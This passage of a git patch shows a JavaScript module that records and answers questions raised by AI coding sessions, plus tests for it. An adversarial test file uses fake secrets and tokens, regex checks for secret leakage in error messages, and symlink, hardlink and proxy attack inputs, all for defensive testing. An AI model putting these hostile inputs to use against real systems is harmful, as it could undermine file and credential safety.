assignment_id: identity.assignment_id, + task_id: identity.task_id, + session_id: identity.session_id, + question_id: identity.question_id, + })); + } catch { + return 'unconfirmed'; + } + if (result === undefined || result === null || typeof result !== 'object' + || capturedIsArray(result)) { + return 'unconfirmed'; + } + if (!capturedHasOwn(result, 'outcome')) return 'unconfirmed'; + const outcome = ownDataValue(result, 'outcome', 'cancel.outcome'); + if (outcome !== 'confirmed' && outcome !== 'unconfirmed') return 'unconfirmed'; + for (const key of ['run_id', 'assignment_id', 'task_id', 'session_id', 'question_id']) { + if (capturedHasOwn(result, key) && ownDataValue(result, key, `cancel.${key}`) !== identity[key]) { + failBatch('attention_batch_identity_mismatch', `cancel.${key}`, + 'Cancel may retry only the exact latched lane identity.'); + } + } + return outcome; +} + +async function invokeDeliver(deliver, identity) { + if (typeof deliver !== 'function') { + failBatch('invalid_type', 'deliver', + 'Same-session delivery requires an injected deliver function.'); + } + let result; + try { + result = await deliver(snapshotRecord({ + run_id: identity.run_id, + assignment_id: identity.assignment_id, + task_id: identity.task_id, + session_id: identity.session_id, + question_id: identity.question_id, + response: identity.response, + })); + } catch { + return 'failed'; + } + if (result === undefined || result === null || typeof result !== 'object' + || capturedIsArray(result)) { + return 'failed'; + } + for (const key of ['run_id', 'assignment_id', 'task_id', 'session_id', 'question_id']) { + if (capturedHasOwn(result, key) + && ownDataValue(result, key, `deliver.${key}`) !== identity[key]) { + failBatch('attention_batch_identity_mismatch', `deliver.${key}`, + 'Delivery may retry only the exact latched reply identity.'); + } + } + const outcome = capturedHasOwn(result, 'outcome') + ? ownDataValue(result, 'outcome', 'deliver.outcome') + : undefined; + if (outcome === 'delivered' || outcome === 'already_delivered') return 'delivered'; + return 'failed'; +} + +async function cancelAffected(cancel, runId, item, unresolved, code) { + let next = pushUnresolved(unresolved, item, code); + const outcome = await invokeCancel(cancel, { run_id: runId, ...item }, code); + if (outcome !== 'confirmed') { + next = pushUnresolved(next, item, 'safe_cancel_unconfirmed'); + } + return next; +} + +function applyUnsupportedAndDeadlines(runId, items, unresolved, cancel, now) { + const nextItems = items.map((item) => ({ ...item })); + let nextUnresolved = unresolved; + return (async () => { + for (const item of nextItems) { + if (item.reply_capability === 'unsupported') { + item.disposition = 'unresolved'; + nextUnresolved = await cancelAffected( + cancel, runId, item, nextUnresolved, 'same_session_reply_unsupported', + ); + continue; + } + if (deadlineExpired(item.deadline_at, now)) { + item.disposition = 'unresolved'; + nextUnresolved = await cancelAffected( + cancel, runId, item, nextUnresolved, 'reply_deadline_expired', + ); + } + } + return { items: nextItems, unresolved: nextUnresolved }; + })(); +} + +async function openRunContext(rootToken, runId, createIfMissing) { + assertRunId(runId, 'run_id'); + const rootNames = await enumerateDirectory(rootToken, MAX_ATTENTION_ROOT_ENTRIES, 'root'); + for (const name of rootNames) { + if (name !== RUNS_NAME) { + failBatch('attention_batch_foreign_entry', 'root', + 'The attention root contains a foreign entry.'); + } + } + let runsToken; + if (!rootNames.includes(RUNS_NAME)) { + if (!createIfMissing) { + failBatch('attention_batch_not_found', 'root', + 'The attention root does not contain a runs directory yet.'); + } + runsToken = await ensurePrivateDirectory(rootToken, RUNS_NAME, 'runs'); + } else { + runsToken = await openDirectoryHandle(childPath(rootToken.path, RUNS_NAME), 'runs'); + } + try { + const runNames = await enumerateDirectory( + runsToken, MAX_ATTENTION_RUN_DIRECTORIES + 1, 'runs', + ); + if (runNames.length > MAX_ATTENTION_RUN_DIRECTORIES) { + failBatch('attention_batch_too_many_entries', 'runs', + `The attention root must not exceed ${MAX_ATTENTION_RUN_DIRECTORIES} run directories.`); + } + for (const name of runNames) { + assertRunId(name, 'runs'); + const child = await openDirectoryHandle(childPath(runsToken.path, name), 'runs'); + try { + const audit = await auditRunDirectory(child); + if (name === runId) { + await removeStaleTemporaries(child, audit.temps); + } + } finally { + await child.handle.close().catch(() => {}); + } + } + if (!runNames.includes(runId)) { + if (!createIfMissing) { + failBatch('attention_batch_not_found', 'run_id', + 'No attention batch exists for that run id.'); + } + const created = await ensurePrivateDirectory(runsToken, runId, 'run_id'); + await created.handle.close().catch(() => {}); + } + const dirToken = await openDirectoryHandle(childPath(runsToken.path, runId), 'directory'); + try { + const audit = await auditRunDirectory(dirToken); + await removeStaleTemporaries(dirToken, audit.temps); + const record = await readRecord(dirToken, runId); + return { runsToken, dirToken, record }; + } catch (error) { + await dirToken.handle.close().catch(() => {}); + throw error; + } + } catch (error) { + await runsToken.handle.close().catch(() => {}); + throw error; + } +} + +function assertExpectedRevision(expected, current, allowCreateRetry) { + if (allowCreateRetry && expected === 0 && current >= 1) return; + if (expected !== current) { + failBatch('attention_batch_revision_conflict', 'expected_revision', + 'expected_revision does not match the durable attention revision.'); + } +} + +async function latchOnHandle(rootToken, options) { + const parsed = parseOperationOptions(options, LATCH_ALLOWED_KEYS, LATCH_REQUIRED_KEYS); + assertRunId(parsed.json.run_id, 'run_id'); + const expectedRevision = assertSafeInt( + parsed.json.expected_revision, 'expected_revision', 0, 4096, + ); + const source = validateAttentionSourceV1(parsed.json.source, 'source'); + const requestedItems = validateAttentionItemsV1(parsed.json.items, 'items'); + bindItemsToSource(requestedItems, source, 'items'); + const batchId = deriveAttentionBatchIdV1(parsed.json.run_id, source, requestedItems); + const now = parsed.injected.now; + const cancel = parsed.injected.cancel; + const context = await openRunContext(rootToken, parsed.json.run_id, true); + try { + const existing = context.record; + if (existing !== null) { + if (identicalSource(existing.source, source) + && identicalQuestionSet(existing.items, requestedItems) + && existing.batch_id === batchId) { + assertExpectedRevision(expectedRevision, existing.revision, true); + return receiptFor(existing, false); + } + assertExpectedRevision(expectedRevision, existing.revision, false); + let unresolved = existing.unresolved; + for (const item of requestedItems) { + unresolved = await cancelAffected( + cancel, parsed.json.run_id, item, unresolved, 'late_attention_after_latch', + ); + } + const next = await publishRecord(context.dirToken, { + ...existing, + revision: existing.revision + 1, + unresolved, + }); + return receiptFor(next, false); + } + assertExpectedRevision(expectedRevision, 0, false); + const preparedItems = requestedItems.map((item) => ({ ...item, disposition: 'pending' })); + const applied = await applyUnsupportedAndDeadlines( + parsed.json.run_id, preparedItems, [], cancel, now, + ); + const record = { + schema: ATTENTION_BATCH_SCHEMA_ID, + version: ATTENTION_BATCH_VERSION, + run_id: parsed.json.run_id, + batch_id: batchId, + revision: 1, + status: 'open', + source, + items: applied.items, + reply: null, + unresolved: applied.unresolved, + }; + const published = await publishRecord(context.dirToken, record, true); + if (published === null) { + const winner = await readRecord(context.dirToken, parsed.json.run_id); + if (winner === null) { + failBatch('attention_batch_io_failed', 'record', + 'The attention record could not be created exclusively.'); + } + if (identicalSource(winner.source, source) + && identicalQuestionSet(winner.items, requestedItems) + && winner.batch_id === batchId) { + return receiptFor(winner, false); + } + failBatch('attention_batch_revision_conflict', 'expected_revision', + 'expected_revision does not match the durable attention revision.'); + } + return receiptFor(published, true); + } finally { + await context.dirToken.handle.close().catch(() => {}); + await context.runsToken.handle.close().catch(() => {}); + } +} + +function pendingSameSession(items) { + return items.filter((item) => item.disposition === 'pending' && item.reply_capability === 'same_session'); +} + +function bindAnswers(answers, items, runId) { + const pending = pendingSameSession(items); + if (answers.length !== pending.length) { + failBatch('attention_batch_identity_mismatch', 'reply.answers', + 'The one reply round must cover every pending same-session item exactly once.'); + } + const byAssignment = capturedCreate(null); + for (const item of pending) byAssignment[item.assignment_id] = item; + for (const answer of answers) { + const item = byAssignment[answer.assignment_id]; + if (item === undefined) { + failBatch('attention_batch_identity_mismatch', 'reply.answers', + 'Reply answers must address only pending same-session identities.'); + } + if (item.task_id !== answer.task_id + || item.session_id !== answer.session_id + || item.question_id !== answer.question_id) { + failBatch('attention_batch_identity_mismatch', 'reply.answers', + 'Reply answers must retry only the exact latched identities.'); + } + if (item.run_id !== undefined && item.run_id !== runId) { + failBatch('attention_batch_identity_mismatch', 'run_id', + 'Reply answers must stay bound to the latched run.'); + } + } +} + +async function deliverPending(existing, deliver, cancel, now, runId) { + const items = existing.items.map((item) => ({ ...item })); + let unresolved = existing.unresolved; + const reply = existing.reply; + const answers = reply === null ? [] : reply.answers; + const answerByAssignment = capturedCreate(null); + for (const answer of answers) answerByAssignment[answer.assignment_id] = answer; + for (const item of items) { + if (item.disposition !== 'pending') continue; + if (deadlineExpired(item.deadline_at, now)) { + item.disposition = 'unresolved'; + unresolved = await cancelAffected( + cancel, runId, item, unresolved, 'reply_deadline_expired', + ); + continue; + } + const answer = answerByAssignment[item.assignment_id]; + if (answer === undefined) continue; + const outcome = await invokeDeliver(deliver, { + run_id: runId, + assignment_id: item.assignment_id, + task_id: item.task_id, + session_id: item.session_id, + question_id: item.question_id, + response: answer.response, + }); + if (outcome === 'delivered') { + item.disposition = 'answered'; + continue; + } + item.disposition = 'unresolved'; + unresolved = await cancelAffected( + cancel, runId, item, unresolved, 'reply_delivery_failed', + ); + } + const status = everySettled(items) ? 'resolved' : existing.status; + return { items, unresolved, status }; +} + +async function replyOnHandle(rootToken, options) { + const parsed = parseOperationOptions(options, REPLY_ALLOWED_KEYS, REPLY_REQUIRED_KEYS); + assertRunId(parsed.json.run_id, 'run_id'); + assertPatternedId(parsed.json.batch_id, BATCH_ID_PATTERN, 'batch_id', 'batch_id'); + const expectedRevision = assertSafeInt( + parsed.json.expected_revision, 'expected_revision', 0, 4096, + ); + const context = await openRunContext(rootToken, parsed.json.run_id, false); + try { + if (context.record === null) { + failBatch('attention_batch_not_found', 'run_id', + 'No attention batch exists for that run id.'); + } + const existing = context.record; + if (existing.batch_id !== parsed.json.batch_id) { + failBatch('attention_batch_identity_mismatch', 'batch_id', + 'Reply batch_id must equal the latched batch identity.'); + } + const reply = validateReplyValue(parsed.json.reply, existing.batch_id, 'reply'); + if (existing.reply !== null) { + if (canonicalJsonStringify(existing.reply) !== canonicalJsonStringify(reply)) { + failBatch('attention_batch_reply_conflict', 'reply', + 'A different reply round is already durable for this batch.'); + } + assertExpectedRevision(expectedRevision, existing.revision, false); + if (existing.status === 'resolved') return receiptFor(existing, false); + const delivered = await deliverPending( + existing, parsed.injected.deliver, parsed.injected.cancel, parsed.injected.now, + parsed.json.run_id, + ); + const next = await publishRecord(context.dirToken, { + ...existing, + revision: existing.revision + 1, + status: delivered.status, + items: delivered.items, + unresolved: delivered.unresolved, + }); + return receiptFor(next, false); + } + assertExpectedRevision(expectedRevision, existing.revision, false); + bindAnswers(reply.answers, existing.items, parsed.json.run_id); + const committed = await publishRecord(context.dirToken, { + ...existing, + revision: existing.revision + 1, + status: 'reply_committed', + reply, + }); + const delivered = await deliverPending( + committed, parsed.injected.deliver, parsed.injected.cancel, parsed.injected.now, + parsed.json.run_id, + ); + const next = await publishRecord(context.dirToken, { + ...committed, + revision: committed.revision + 1, + status: delivered.status, + items: delivered.items, + unresolved: delivered.unresolved, + }); + return receiptFor(next, true); + } finally { + await context.dirToken.handle.close().catch(() => {}); + await context.runsToken.handle.close().catch(() => {}); + } +} + +async function getOnHandle(rootToken, runId) { + assertRunId(runId, 'run_id'); + const context = await openRunContext(rootToken, runId, false); + try { + if (context.record === null) { + failBatch('attention_batch_not_found', 'run_id', + 'No attention batch exists for that run id.'); + } + return receiptFor(context.record, false); + } finally { + await context.dirToken.handle.close().catch(() => {}); + await context.runsToken.handle.close().catch(() => {}); + } +} + +export function describeAttentionBatchV1() { + return freezeData({ + schema: ATTENTION_BATCH_SCHEMA_ID, + version: ATTENTION_BATCH_VERSION, + receipt_schema: ATTENTION_BATCH_RECEIPT_SCHEMA_ID, + record_keys: ATTENTION_BATCH_RECORD_KEYS, + statuses: ATTENTION_BATCH_STATUSES, + source_keys: ATTENTION_BATCH_SOURCE_KEYS, + task_cursor_keys: ATTENTION_BATCH_TASK_CURSOR_KEYS, + item_keys: ATTENTION_BATCH_ITEM_KEYS, + providers: ATTENTION_BATCH_PROVIDERS, + reply_capabilities: ATTENTION_BATCH_REPLY_CAPABILITIES, + dispositions: ATTENTION_BATCH_DISPOSITIONS, + unresolved_codes: ATTENTION_BATCH_UNRESOLVED_CODES, + reply_keys: ATTENTION_BATCH_REPLY_KEYS, + answer_keys: ATTENTION_BATCH_ANSWER_KEYS, + unresolved_keys: ATTENTION_BATCH_UNRESOLVED_KEYS, + error_codes: ATTENTION_BATCH_ERROR_CODES, + bounds: capturedFreeze({ + items: capturedFreeze({ min: MIN_ATTENTION_ITEMS, max: MAX_ATTENTION_ITEMS }), + options: MAX_ATTENTION_OPTIONS, + prompt_bytes: MAX_ATTENTION_PROMPT_BYTES, + response_bytes: MAX_ATTENTION_RESPONSE_BYTES, + reply_round: ATTENTION_REPLY_ROUND, + }), + storage: capturedFreeze({ + file: `runs//${ATTENTION_BATCH_FILE_NAME}`, + directories: '0700', + files: '0600', + publication: 'same-directory temporary, fsync, atomic rename, directory fsync', + cas: 'expected_revision', + }), + ownership: capturedFreeze({ + p25: 'unchanged six journal facts, hash chain, cursor, and derived state', + p34: 'attention snapshots, batch identity, one reply commitment, delivery disposition, unresolved evidence, separate atomic persistence', + forbidden: capturedFreeze([ + 'p25_event_kind_change', + 'question_encoding_in_child_progress_note', + 'foreign_p25_journal_files', + 'scheduler', + 'provider_dispatch', + 'candidate_composition', + 'server_tool_wiring', + 'cleanup_implementation', + 'gate_a', + 'release', + ]), + }), + wake: false, + remote_mutated: false, + }); +} + +export async function openAttentionRoot(rootPath) { + const resolved = assertSafeRootPath(rootPath); + const opened = await openDirectoryHandle(resolved, 'root'); + const token = capturedFreeze({ + path: opened.path, + dev: opened.dev, + ino: opened.ino, + }); + await opened.handle.close().catch(() => {}); + return capturedFreeze({ + root: token.path, + async latch(options) { + return withRootChain(token, async () => { + const root = await reopenAndVerify(token, 'root'); + try { + return await latchOnHandle(root, options); + } finally { + await root.handle.close().catch(() => {}); + } + }); + }, + async reply(options) { + return withRootChain(token, async () => { + const root = await reopenAndVerify(token, 'root'); + try { + return await replyOnHandle(root, options); + } finally { + await root.handle.close().catch(() => {}); + } + }); + }, + async get(runId) { + return withRootChain(token, async () => { + const root = await reopenAndVerify(token, 'root'); + try { + return await getOnHandle(root, runId); + } finally { + await root.handle.close().catch(() => {}); + } + }); + }, + }); +} + +capturedFreeze(openAttentionRoot); +capturedFreeze(describeAttentionBatchV1); +capturedFreeze(validateAttentionBatchRecordV1); +capturedFreeze(validateAttentionSourceV1); +capturedFreeze(validateAttentionItemsV1); +capturedFreeze(attentionQuestionDigestV1); +capturedFreeze(deriveAttentionBatchIdV1); From 83d35030000a977b657f09908086567c962930f6 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 20:07:53 +0000 Subject: [PATCH 114/151] test(attention): cover latch, reply, unresolved, and hostiles Prove 1-8 sorted unique items, one durable reply round before delivery, exact-identity restart, P25 byte isolation, required unresolved blocking, CAS, shared-root denial, and hostile container/path failures. --- .../fixtures/r1-attention-batch-fixtures.mjs | 218 +++++++++ .../r1-attention-batch-adversarial.test.mjs | 422 +++++++++++++++++ .../test/r1-attention-batch.test.mjs | 436 ++++++++++++++++++ 3 files changed, 1076 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-attention-batch-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-attention-batch-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-attention-batch.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-attention-batch-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-attention-batch-fixtures.mjs new file mode 100644 index 0000000..f9636db --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-attention-batch-fixtures.mjs @@ -0,0 +1,218 @@ +// Neutral builders for AttentionBatchV1 tests. Tests own the assertions. + +import { chmod, mkdtemp } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + ATTENTION_BATCH_SCHEMA_ID, + attentionQuestionDigestV1, + deriveAttentionBatchIdV1, + openAttentionRoot, +} from '../../mcp/v3/attention-batch.mjs'; +import { RUN_JOURNAL_GENESIS_PREV } from '../../mcp/v3/run-reducer.mjs'; + +export const RUN_ID = 'run-attention-main'; +export const ASSIGNMENT_A = 'assign-a'; +export const ASSIGNMENT_B = 'assign-b'; +export const ASSIGNMENT_C = 'assign-c'; +export const TASK_A = 'task-a0'; +export const TASK_B = 'task-b0'; +export const TASK_C = 'task-c0'; +export const SESSION_A = 'sess-a0'; +export const SESSION_B = 'sess-b0'; +export const SESSION_C = 'sess-c0'; +export const QUESTION_A = 'q-a0'; +export const QUESTION_B = 'q-b0'; +export const QUESTION_C = 'q-c0'; +export const CURSOR_A = '0'; +export const CURSOR_B = '24'; +export const CURSOR_C = '48'; +export const HOSTILE_SECRET = 'sk-live-ATTACKER-SECRET'; +export const HOSTILE_PATH = '/tmp/hostile-repo'; +export const HOSTILE_TOKEN = 'github_pat_hostile'; + +export { ATTENTION_BATCH_SCHEMA_ID, RUN_JOURNAL_GENESIS_PREV }; + +export async function makePrivateRoot(prefix = 'r1-p34-attention-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await chmod(root, 0o700); + return root; +} + +export async function openRoot(prefix) { + const root = await makePrivateRoot(prefix); + const handle = await openAttentionRoot(root); + return { root, handle }; +} + +export function makeCursor({ + assignmentId = ASSIGNMENT_A, + taskId = TASK_A, + eventCursor = CURSOR_A, +} = {}) { + return { + assignment_id: assignmentId, + task_id: taskId, + event_cursor: eventCursor, + }; +} + +export function makeSource({ + journalRevision = 2, + journalHeadHash = `sha256:${'ab'.repeat(32)}`, + cursors = [makeCursor()], +} = {}) { + return { + journal_revision: journalRevision, + journal_head_hash: journalHeadHash, + task_cursors: cursors, + }; +} + +export function makeItem({ + assignmentId = ASSIGNMENT_A, + taskId = TASK_A, + provider = 'grok', + required = true, + sessionId = SESSION_A, + questionId = QUESTION_A, + eventCursor = CURSOR_A, + prompt = 'Choose the next writer step', + options = ['continue', 'stop'], + disposition = 'pending', + deadlineAt = null, +} = {}) { + const replyCapability = provider === 'dsh' || provider === 'cursor-cloud' + ? 'unsupported' + : 'same_session'; + const item = { + assignment_id: assignmentId, + task_id: taskId, + provider, + required, + session_id: sessionId, + question_id: questionId, + event_cursor: eventCursor, + question_digest: 'sha256:' + '00'.repeat(32), + prompt, + options, + reply_capability: replyCapability, + disposition, + deadline_at: deadlineAt, + }; + item.question_digest = attentionQuestionDigestV1(item); + return item; +} + +export function grokItem(overrides = {}) { + return makeItem({ provider: 'grok', ...overrides }); +} + +export function cursorLocalItem(overrides = {}) { + return makeItem({ + assignmentId: ASSIGNMENT_B, + taskId: TASK_B, + provider: 'cursor-local', + sessionId: SESSION_B, + questionId: QUESTION_B, + eventCursor: CURSOR_B, + ...overrides, + }); +} + +export function dshItem(overrides = {}) { + return makeItem({ + assignmentId: ASSIGNMENT_B, + taskId: TASK_B, + provider: 'dsh', + sessionId: SESSION_B, + questionId: QUESTION_B, + eventCursor: CURSOR_B, + prompt: 'DSH cannot host a same-session reply', + options: null, + ...overrides, + }); +} + +export function cloudItem(overrides = {}) { + return makeItem({ + assignmentId: ASSIGNMENT_C, + taskId: TASK_C, + provider: 'cursor-cloud', + sessionId: SESSION_C, + questionId: QUESTION_C, + eventCursor: CURSOR_C, + prompt: 'Cloud cannot host a same-session reply', + options: null, + required: true, + ...overrides, + }); +} + +export function itemsAndSource(items) { + const sorted = [...items].sort((left, right) => { + if (left.assignment_id < right.assignment_id) return -1; + if (left.assignment_id > right.assignment_id) return 1; + return 0; + }); + return { + items: sorted, + source: makeSource({ + cursors: sorted.map((item) => makeCursor({ + assignmentId: item.assignment_id, + taskId: item.task_id, + eventCursor: item.event_cursor, + })), + }), + }; +} + +export function batchIdFor(runId, source, items) { + return deriveAttentionBatchIdV1(runId, source, items); +} + +export function makeAnswer(item, response = 'continue') { + return { + assignment_id: item.assignment_id, + task_id: item.task_id, + session_id: item.session_id, + question_id: item.question_id, + response, + }; +} + +export function makeReply(batchId, items, response = 'continue') { + return { + batch_id: batchId, + round: 1, + answers: items.map((item) => makeAnswer(item, response)), + }; +} + +export function trackingCancel(outcome = 'confirmed') { + const calls = []; + const cancel = async (identity) => { + calls.push(identity); + return { outcome, ...identity }; + }; + return { cancel, calls }; +} + +export function trackingDeliver(outcome = 'delivered') { + const calls = []; + const deliver = async (identity) => { + calls.push(identity); + return { outcome, ...identity }; + }; + return { deliver, calls }; +} + +export function failingDeliver() { + const calls = []; + const deliver = async (identity) => { + calls.push(identity); + throw new Error(HOSTILE_SECRET); + }; + return { deliver, calls }; +} diff --git a/plugins/codex-co-engineer/test/r1-attention-batch-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-attention-batch-adversarial.test.mjs new file mode 100644 index 0000000..1057107 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-attention-batch-adversarial.test.mjs @@ -0,0 +1,422 @@ +// P34 AttentionBatchV1 adversarial coverage: hostile containers, CAS, shared +// P25 roots, symlink/hardlink, identity drift, oversized inputs, and +// content-free failures. + +import assert from 'node:assert/strict'; +import { chmod, link, mkdir, rm, symlink, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + ATTENTION_BATCH_FILE_NAME, + MAX_ATTENTION_ITEMS, + MAX_ATTENTION_PROMPT_BYTES, + MAX_ATTENTION_RESPONSE_BYTES, + openAttentionRoot, +} from '../mcp/v3/attention-batch.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { createRunJournal } from '../mcp/v3/run-journal.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + makePrivateRoot as makeStoreRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; +import { + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + RUN_ID, + grokItem, + itemsAndSource, + makePrivateRoot, + makeReply, + trackingCancel, + trackingDeliver, +} from './fixtures/r1-attention-batch-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertContentFree(error) { + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /github_pat/u); + assert.doesNotMatch(error.message, /\/tmp\//u); +} + +async function withRoot(fn) { + const root = await makePrivateRoot('r1-p34-adv-'); + try { + const handle = await openAttentionRoot(root); + return await fn({ root, handle }); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('proxies, symbols, accessors, and own undefined fail closed without traps', async () => { + await withRoot(async ({ handle }) => { + const { items, source } = itemsAndSource([grokItem()]); + const { proxy, counts } = countingProxy({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + const proxied = await errorOf(() => handle.latch(proxy)); + assert.equal(proxied.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const symbolic = { run_id: RUN_ID, source, items, expected_revision: 0 }; + Object.defineProperty(symbolic, Symbol('leak'), { value: HOSTILE_SECRET, enumerable: true }); + const symbolError = await errorOf(() => handle.latch(symbolic)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assertContentFree(symbolError); + + const accessor = { + run_id: RUN_ID, + source, + items, + expected_revision: 0, + }; + Object.defineProperty(accessor, 'cancel', { + enumerable: true, + get() { throw new Error(HOSTILE_SECRET); }, + }); + const accessorError = await errorOf(() => handle.latch(accessor)); + assert.equal(accessorError.code, 'accessor_property_denied'); + assertContentFree(accessorError); + + const undef = { run_id: RUN_ID, source, items, expected_revision: 0, now: undefined }; + const undefError = await errorOf(() => handle.latch(undef)); + assert.equal(undefError.code, 'own_undefined_denied'); + }); +}); + +test('unknown keys, extra item fields, and capability mismatches fail closed', async () => { + await withRoot(async ({ handle }) => { + const { items, source } = itemsAndSource([grokItem()]); + const unknown = await errorOf(() => handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, note: 'progress.tick', + })); + assert.equal(unknown.code, 'unknown_key'); + + const foreignItem = { ...items[0], child_progress_note: 'ask-the-user' }; + const extra = await errorOf(() => handle.latch({ + run_id: RUN_ID, source, items: [foreignItem], expected_revision: 0, + })); + assert.equal(extra.code, 'unknown_key'); + + const mismatched = grokItem(); + mismatched.reply_capability = 'unsupported'; + mismatched.question_digest = items[0].question_digest; + const cap = await errorOf(() => handle.latch({ + run_id: RUN_ID, + source, + items: [mismatched], + expected_revision: 0, + })); + assert.equal(cap.code, 'capability_reply_mismatch'); + }); +}); + +test('duplicate assignment ids, empty batches, and oversized prompts fail closed', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const { source } = itemsAndSource([grok]); + const duplicate = await errorOf(() => handle.latch({ + run_id: RUN_ID, + source, + items: [grok, grokItem()], + expected_revision: 0, + })); + assert.equal(duplicate.code, 'duplicate_assignment_id'); + + const empty = await errorOf(() => handle.latch({ + run_id: RUN_ID, source, items: [], expected_revision: 0, + })); + assert.equal(empty.code, 'out_of_range'); + + const nine = Array.from({ length: MAX_ATTENTION_ITEMS + 1 }, (_value, index) => grokItem({ + assignmentId: `assign-${index}`, + taskId: `task-${index}`, + sessionId: `sess-${index}`, + questionId: `q-${index}`, + eventCursor: String(index), + })); + const nineSource = itemsAndSource(nine).source; + const flood = await errorOf(() => handle.latch({ + run_id: RUN_ID, + source: nineSource, + items: nine, + expected_revision: 0, + })); + assert.equal(flood.code, 'out_of_range'); + + const huge = grokItem({ prompt: 'p'.repeat(MAX_ATTENTION_PROMPT_BYTES + 1) }); + const hugePair = itemsAndSource([huge]); + const prompt = await errorOf(() => handle.latch({ + run_id: RUN_ID, + source: hugePair.source, + items: hugePair.items, + expected_revision: 0, + })); + assert.equal(prompt.code, 'out_of_range'); + }); +}); + +test('expected_revision CAS rejects stale writers and expected_revision is mandatory', async () => { + await withRoot(async ({ handle }) => { + const { items, source } = itemsAndSource([grokItem()]); + await handle.latch({ run_id: RUN_ID, source, items, expected_revision: 0 }); + const batchId = (await handle.get(RUN_ID)).record.batch_id; + const stale = await errorOf(() => handle.reply({ + run_id: RUN_ID, + batch_id: batchId, + expected_revision: 0, + reply: makeReply(batchId, items), + deliver: trackingDeliver().deliver, + })); + assert.equal(stale.code, 'attention_batch_revision_conflict'); + + const missing = await errorOf(() => handle.latch({ + run_id: RUN_ID, source, items, + })); + assert.equal(missing.code, 'missing_key'); + }); +}); + +test('sharing a P25 journal root fails closed and writes nothing into it', async () => { + const storeRoot = await makeStoreRoot('r1-p34-share-store-'); + const journalRoot = await makeStoreRoot('r1-p34-share-journal-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId: RUN_ID })); + const journal = await createRunJournal({ root: journalRoot, store, run_id: RUN_ID }); + await journal.append({ kind: 'run_opened', data: {} }); + const handle = await openAttentionRoot(journalRoot); + const { items, source } = itemsAndSource([grokItem()]); + const error = await errorOf(() => handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + })); + assert.equal(error.code, 'attention_batch_root_shared'); + const names = await (await import('node:fs/promises')).readdir(journal.directory); + assert.equal(names.includes(ATTENTION_BATCH_FILE_NAME), false); + assert.ok(names.includes('journal.jsonl')); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +test('symlink roots, hardlinked records, and group-writable directories fail closed', async () => { + const parent = await makePrivateRoot('r1-p34-link-'); + try { + const real = path.join(parent, 'real'); + await mkdir(real, { mode: 0o700 }); + await chmod(real, 0o700); + const linked = path.join(parent, 'link'); + await symlink(real, linked); + const sym = await errorOf(() => openAttentionRoot(linked)); + assert.equal(sym.code, 'attention_batch_root_unsafe'); + + const handle = await openAttentionRoot(real); + const { items, source } = itemsAndSource([grokItem()]); + await handle.latch({ run_id: RUN_ID, source, items, expected_revision: 0 }); + const recordPath = path.join(real, 'runs', RUN_ID, ATTENTION_BATCH_FILE_NAME); + const alias = path.join(parent, 'hardlink-outside.json'); + await link(recordPath, alias); + const hard = await errorOf(() => handle.get(RUN_ID)); + assert.equal(hard.code, 'attention_batch_not_regular'); + + const openRoot = await makePrivateRoot('r1-p34-mode-'); + try { + await chmod(openRoot, 0o770); + const mode = await errorOf(() => openAttentionRoot(openRoot)); + assert.equal(mode.code, 'attention_batch_root_unsafe'); + } finally { + await chmod(openRoot, 0o700).catch(() => {}); + await rm(openRoot, { recursive: true, force: true }); + } + } finally { + await rm(parent, { recursive: true, force: true }); + } +}); + +test('oversized replies, second-round mutation, and delivery identity drift fail closed', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const { items, source } = itemsAndSource([grok]); + const latched = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + const huge = await errorOf(() => handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: 1, + reply: makeReply(latched.record.batch_id, [grok], 'x'.repeat(MAX_ATTENTION_RESPONSE_BYTES + 1)), + deliver: trackingDeliver().deliver, + })); + assert.equal(huge.code, 'out_of_range'); + + const driftingDeliver = async (identity) => ({ + outcome: 'delivered', + ...identity, + session_id: 'other-session', + }); + const drift = await errorOf(() => handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: 1, + reply: makeReply(latched.record.batch_id, [grok], 'allow_once'), + deliver: driftingDeliver, + })); + assert.equal(drift.code, 'attention_batch_identity_mismatch'); + const durable = await handle.get(RUN_ID); + assert.equal(durable.record.status, 'reply_committed'); + assert.equal(durable.record.reply.answers[0].response, 'allow_once'); + + const { deliver } = trackingDeliver(); + const second = await errorOf(() => handle.reply({ + run_id: RUN_ID, + 